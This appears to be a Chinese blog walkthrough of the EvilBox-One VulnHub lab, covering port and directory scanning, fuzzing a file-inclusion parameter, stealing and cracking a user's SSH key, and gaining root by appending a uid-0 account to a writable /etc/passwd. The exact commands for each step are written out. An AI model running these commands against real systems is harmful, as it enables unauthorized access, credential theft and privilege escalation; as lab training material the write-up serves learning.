EvilBox---One-vulnhub靶场

环境信息

靶机:192.168.124.138
攻击机:192.168.124.129

打靶过程

1.nmap扫描端口及服务

image

发现开放 22,80 端口

访问 80 端口,是 apache 的欢迎页面

image

2.目录扫描

image

访问 /robots.txt,发现疑似用户名“H4x0r”

image

访问 /secret/,是一个空白页面

image

那么就再扫描一下 /secret/ 目录,最终通过 dirb 扫描出 evil.php

image

访问 evil.php,也是一个空白页,这里猜测可以在后面加参数,就有可能涉及文件包含

image

3.wfuzz 爆破参数名

使用命令 wfuzz 爆破参数名,成功爆出参数名为“command”

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hw 0 http://192.168.124.138/secret/evil.php?FUZZ=/etc/passwd

image

4.文件包含

使用该参数名进行文件包含,发现一个用户“mowree”,但是不知道密码,并发现不存在“H4x0r”用户

image

该靶机开放了22端口,查看该用户下是否存在 ssh 私钥,发现确实存在私钥

image

5.私钥登录 ssh

下载私钥 id_rsa

image

在用 john 破解密码之前,得先将其转化为 john 能处理的 SHA 加密的文件,这里用到 ssh2john 命令
使用ssh2john id_rsa > pass.txt命令编译私钥保存,
利用john --wordlist=/usr/share/wordlists/rockyou.txt pass.txt破解出密码 unicorn

image

image

赋予 id_rsa 私钥 600 权限,指定 id_rsa 登录 ssh,输入密码 unicorn 成功登录

chmod 600 id_rsa
ssh -i id_rsa mowree@192.168.124.138

image

获得第一个 flag

image

6.提权

查看系统版本、可使用 sudo 执行权限的命令以及 suid,未发现可利用点

image

写入 root 权限用户

后发现 /etc/passwd 文件可写入,那就写入一个 root 权限的用户吧

image

先使用命令perl -le 'print crypt("pass","pass")'生成加盐密码

image

使用命令echo toor:pauONM/HSu9pM:0:0:root:/root:/bin/bash >> /etc/passwd写入带 root 权限的用户 toor,切换至 toor 用户,密码“pass”,成功提权至 root 权限

image

成功获取 flag

image

到最后都没用到“H4x0r”,靶场还是会有一些干扰项的 😃

补充

由于 /etc/passwd 文件可写入操作,且 root 用户设有密码(“x”表示设有密码,但不是真正的密码,真正的密码保存在 /etc/shadow 文件)

image

尝试删除“x”,进行无密码登录 root,但是失败了(因为删除“x”后,可以无密码登录,但是远程登录是不行的)

image

于是使用命令openssl passwd -1生成一个哈希值将“x”替换,密码输入的“papa”,生成哈希值$1$U.5M5By5$EcYXMMBySD2sT0DX/lK3k1

image

image

替换后再 su 到 root,使用替换的密码“papa”成功登录 root

image

总结

1.目录扫描:进行目录扫描时可以多尝试几个工具或字典
2.wfuzz 爆破:一些脚本很可能存在特定的接口,参数未知可尝试爆破
3.私钥 ssh 登录:ssh2john 将私钥转化为 john 能处理的 SHA 加密的文件,再进行爆破
4. /etc/passwd 文件写入:有时也不要忽略一些关键文件的写入权限,这里就直接写入一个 root 权限的用户来提权

posted @ 2022-08-03 12:53  r0ure  阅读(209)  评论(0编辑  收藏  举报